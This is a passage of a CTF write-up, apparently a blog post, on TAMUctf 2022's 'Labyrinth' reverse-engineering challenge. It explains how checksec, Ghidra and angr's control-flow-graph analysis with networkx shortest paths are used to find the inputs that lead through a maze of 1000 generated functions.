&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-output=&quot;2-7&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;checksec elf&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;[*] &#39;/Users/&amp;lt;redacted&amp;gt;/labyrinth/elf&#39;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;    Arch:     amd64-64-little&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;    RELRO:    Partial RELRO&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;    Stack:    No canary found&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;    NX:       NX enabled&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;    PIE:      PIE enabled&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Shell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;It appears that PIE is enabled. We&#39;ll make a mental note of this, since this may mess with function addresses.&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-bolt ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;&lt;strong&gt;What is PIE?&lt;/strong&gt;
Sadly, not the scrumptious dessert. Position-independent executable is a security mechanism whereby on starting an application, the OS will offset the assembly sections (&lt;code&gt;.data&lt;/code&gt;, &lt;code&gt;.text&lt;/code&gt;, etc.).&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Next, we decompile our elves using Ghidra and make some observations.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Labyrinth decompiled 1.&quot; href=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-1-2460w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100 &quot; src=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-1-2460w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 2460 / 1146&quot; alt=&quot;Labyrinth decompiled 1.&quot; title=&quot;Labyrinth decompiled 1.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-1-256w.webp 256w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-1-512w.webp 512w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-1-1024w.webp 1024w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-1-2460w.webp 2460w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 2460px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Only one function contains &lt;code&gt;exit(0)&lt;/code&gt;.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Labyrinth decompiled 2.&quot; href=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-2-2452w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100 &quot; src=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-2-2452w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 2452 / 1152&quot; alt=&quot;Labyrinth decompiled 2.&quot; title=&quot;Labyrinth decompiled 2.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-2-256w.webp 256w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-2-512w.webp 512w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-2-1024w.webp 1024w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-2-2452w.webp 2452w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 2452px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Other functions seem to perform some sort of check and lead to more functions.&lt;/sup&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Each binary contains a thousand (1000) functions (excluding &lt;code&gt;main&lt;/code&gt;). The symbols are &lt;code&gt;function_0&lt;/code&gt;, &lt;code&gt;function_1&lt;/code&gt;, &lt;code&gt;function_2&lt;/code&gt;, and so on.&lt;/li&gt;
&lt;li&gt;Each of these functions will:
&lt;ul&gt;
&lt;li&gt;Call &lt;code&gt;scanf(&amp;quot;%u&#92;n&amp;quot;, ...)&lt;/code&gt; (read 4 bytes into a stack variable), and&lt;/li&gt;
&lt;li&gt;Branch (if, else-if, else) into two or more paths.&lt;/li&gt;
&lt;li&gt;The branch conditions come in some form of arithmetic check. For example, &lt;code&gt;input == 0x1c1&lt;/code&gt;, &lt;code&gt;input ^ 0xc213504e == 0x142&lt;/code&gt;, &lt;code&gt;input &amp;lt; 0x143&lt;/code&gt;, &lt;code&gt;input - 0x5173cdc3 == 0x28b&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Each branch will either
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;exit(1)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;or call another function from the 1000 functions.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;The number of branches, numbers used in the conditions, and order of conditions are random.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;All 1000 functions are laid next to each other in memory.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;main&lt;/code&gt; is always at &lt;code&gt;0x101155&lt;/code&gt; and starts by calling one of the 1000 functions. The function call is not fixed (i.e. we can&#39;t be certain about the address).&lt;/li&gt;
&lt;li&gt;Only one function calls &lt;code&gt;exit(0)&lt;/code&gt; and this function is always at address &lt;code&gt;0x1011c4&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To &amp;quot;solve&amp;quot; an elf, we need to give an appropriate input at each step of the function such that the correct branch and path are taken. In other words, we need to trace the right path out of the maze. We need to solve 5 elves to get the flag. We only have five minutes for five elves. Solving this without any automation seems next to impossible. Thankfully, we have angr.&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-bolt ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;&lt;strong&gt;What is angr?&lt;/strong&gt;&lt;br /&gt;
angr is a python library which simulates machine code while keeping track of program state. Its exploration features are useful to find the input corresponding to a given output.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h4 id=&quot;coding&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/tamuctf-2022-labyrinth/#coding&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Coding&lt;/h4&gt;
&lt;p&gt;As a preliminary step, we&#39;ll import angr, load the project, and set some constants.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-py&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-py&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; angr &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; pwn &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;solve&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;elf&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    p &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Project&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    elf &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; ELF&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;# Find target address.&lt;/span&gt;
    start_addr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x4011b3&lt;/span&gt;
    tar_addr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x4011c8&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-bolt ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;Ghidra will load PIE assembly at offset &lt;code&gt;0x100000&lt;/code&gt;, but angr loads it at &lt;code&gt;0x400000&lt;/code&gt; by default. So all addresses in the previous section were offset by an additional &lt;code&gt;0x300000&lt;/code&gt; to account for this difference. There&#39;s a way to make angr load at a custom offset, but I forgot what the option was called. (But the option exists!)&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Now we&#39;ll try some good ol&#39; angr &lt;code&gt;explore()&lt;/code&gt; and see what turns up.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-py&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-py&quot;&gt;state &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;factory&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;entry_state&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;addr&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;start_addr&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Construct the state when we &quot;start&quot; the executable at `start_addr`.&lt;/span&gt;
simgr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;factory&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;simgr&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;state&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Get a simulation manager. This will... manage our simulations.&lt;/span&gt;
simgr&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;explore&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;find&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;tar_addr&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;# GOGOGO!!!&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;explore()&lt;/code&gt; is the most straightforward command in angr. With the &lt;code&gt;find=tar_addr&lt;/code&gt; parameter, we tell &lt;code&gt;explore()&lt;/code&gt; to &lt;em&gt;simulate&lt;/em&gt; and &lt;em&gt;look for&lt;/em&gt; states which will execute the instruction at &lt;code&gt;tar_addr&lt;/code&gt;.&lt;/p&gt;
&lt;h4 id=&quot;path-explosion&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/tamuctf-2022-labyrinth/#path-explosion&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Path Explosion&lt;/h4&gt;
&lt;p&gt;Unfortunately, this takes forever to run due to &lt;em&gt;path explosion&lt;/em&gt;. Notice how the control flow makes the paths diverge in one of the binaries:&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Paths go boom.&quot; href=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-graph-1196w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-80&quot; src=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-graph-1196w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1196 / 626&quot; alt=&quot;Example diagram of path explosion.&quot; title=&quot;Paths go boom.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-graph-256w.webp 256w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-graph-512w.webp 512w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-graph-1024w.webp 1024w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-graph-1196w.webp 1196w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1196px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Now angr is pretty smart, but not too smart. angr will simulate all paths and if it encounters a branch, it will simulate both branches together. However, it will treat the &lt;code&gt;function_133&lt;/code&gt; branches as separate states...&lt;/p&gt;
&lt;p&gt;To get a more concrete view of paths exploding, Gru tried calling &lt;code&gt;simgr.run(n=50)&lt;/code&gt;—which simulates 50 steps...&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Good going, Gru!&quot; href=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-gru-700w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-80&quot; src=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-gru-700w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 700 / 449&quot; alt=&quot;Gru explains his plan to avoid path explosion. (not)&quot; title=&quot;Good going, Gru!&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-gru-256w.webp 256w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-gru-512w.webp 512w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-gru-700w.webp 700w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 700px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;90 active states is quite a lot! Usually we&#39;d want to limit ourselves to around 10 active states to ensure good simulation speed.&lt;/p&gt;
&lt;p&gt;With 50 steps and already 90 active states, the situation is pretty dismal. We&#39;ll need to find a better way of getting to the target address.&lt;/p&gt;
&lt;h4 id=&quot;cfgs-to-the-rescue&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/tamuctf-2022-labyrinth/#cfgs-to-the-rescue&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; CFGs to the Rescue&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Control flow graphs&lt;/strong&gt; (CFGs) are directed graphs where nodes are blocks of code and edges indicate the direction the code can take. By translating the program into a graph, we can utilise the many graph algorithms at our disposal. In particular, we&#39;re interested in the &lt;em&gt;shortest path between a start node and target node&lt;/em&gt;.&lt;/p&gt;
&lt;div class=&quot;center rw mb-2  lightbox-gallery&quot;&gt;
&lt;a class=&quot;&quot; title=&quot;Path explosion 1.&quot; href=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-1-577w.webp&quot;&gt;&lt;img class=&quot;jw-30 multi&quot; src=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-1-577w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 577 / 433&quot; alt=&quot;Path explosion 1.&quot; title=&quot;Path explosion 1.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-1-256w.webp 256w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-1-512w.webp 512w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-1-577w.webp 577w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 577px&quot; /&gt;&lt;/a&gt;
&lt;a class=&quot;&quot; title=&quot;Path explosion 2.&quot; href=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-2-577w.webp&quot;&gt;&lt;img class=&quot;jw-30 multi&quot; src=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-2-577w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 577 / 433&quot; alt=&quot;Path explosion 2.&quot; title=&quot;Path explosion 2.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-2-256w.webp 256w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-2-512w.webp 512w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-2-577w.webp 577w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 577px&quot; /&gt;&lt;/a&gt;
&lt;a class=&quot;&quot; title=&quot;Path explosion 3.&quot; href=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-3-577w.webp&quot;&gt;&lt;img class=&quot;jw-30 multi&quot; src=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-3-577w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 577 / 433&quot; alt=&quot;Path explosion 3.&quot; title=&quot;Path explosion 3.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-3-256w.webp 256w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-3-512w.webp 512w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-path-explosion-3-577w.webp 577w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 577px&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;p&gt;angr comes with a bundle of analysis modules; these include two CFG analysis strategies: &lt;code&gt;CFGFast&lt;/code&gt; and &lt;code&gt;CFGEmulated&lt;/code&gt;. The former analyses the program statically (without actually simulating the code!), whereas the latter analyses the program dynamically (i.e. by simulating the code).&lt;/p&gt;
&lt;p&gt;Since the labyrinth elf only contains simple if-statements and function calls, and no obfuscation or complicated redirection whatsoever, we can construct a CFG statically!&lt;/p&gt;
&lt;p&gt;Working with graphs and nodes in angr is fairly straightforward. angr CFGs are just instances of &lt;code&gt;networkx&lt;/code&gt; graphs (a python graph library), so we&#39;ll need to import it to use its handy &lt;code&gt;shortest_path&lt;/code&gt; function.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-py&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-py&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Construct a CFG from the 1000 functions. &lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# Restrict analysis to the relevant region to save time.&lt;/span&gt;
region &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0x401155&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x400000&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; elf&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sym&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;__libc_csu_init&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
cfg &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;analyses&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;CFGFast&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;regions&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;region&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Get networkx nodes for start and target addresses in CFG.&lt;/span&gt;
src_node &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; cfg&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;model&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get_any_node&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;start_addr&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; anyaddr&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
tar_node &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; cfg&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;model&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get_any_node&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;tar_addr&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; anyaddr&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Ensure nodes exist. shortest_path works differently if a node is None.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; src_node &lt;span class=&quot;token keyword&quot;&gt;is&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;None&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;and&lt;/span&gt; tar_node &lt;span class=&quot;token keyword&quot;&gt;is&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;None&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Construct the shortest path from src to tar. This will be a list of CFGNodes.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; networkx &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; shortest_path
path &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; shortest_path&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;cfg&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;graph&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; src_node&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; tar_node&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Now that we have a direct sequence of nodes from &lt;code&gt;main&lt;/code&gt; to our &lt;code&gt;exit(0)&lt;/code&gt; function, we just need to guide angr&#39;s simulation manager along the path, function-by-function.&lt;/p&gt;
&lt;!-- But there&#39;s one more thing we should take care of. Our path is currently a path of blocks, not functions. To make the exploration consistent of stepping through functions, we&#39;ll group the  --&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-py&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-py&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Walk through the rest of the path.&lt;/span&gt;
state &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;factory&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;blank_state&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;addr&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;start_addr&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; node &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; path&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;# Let the simulator engine works its magic.&lt;/span&gt;
    simgr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;factory&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;simgr&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;state&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    simgr&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;explore&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;find&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;node&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;addr&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;simgr&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;found&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;
    
    &lt;span class=&quot;token comment&quot;&gt;# Keep the found state for next iteration.&lt;/span&gt;
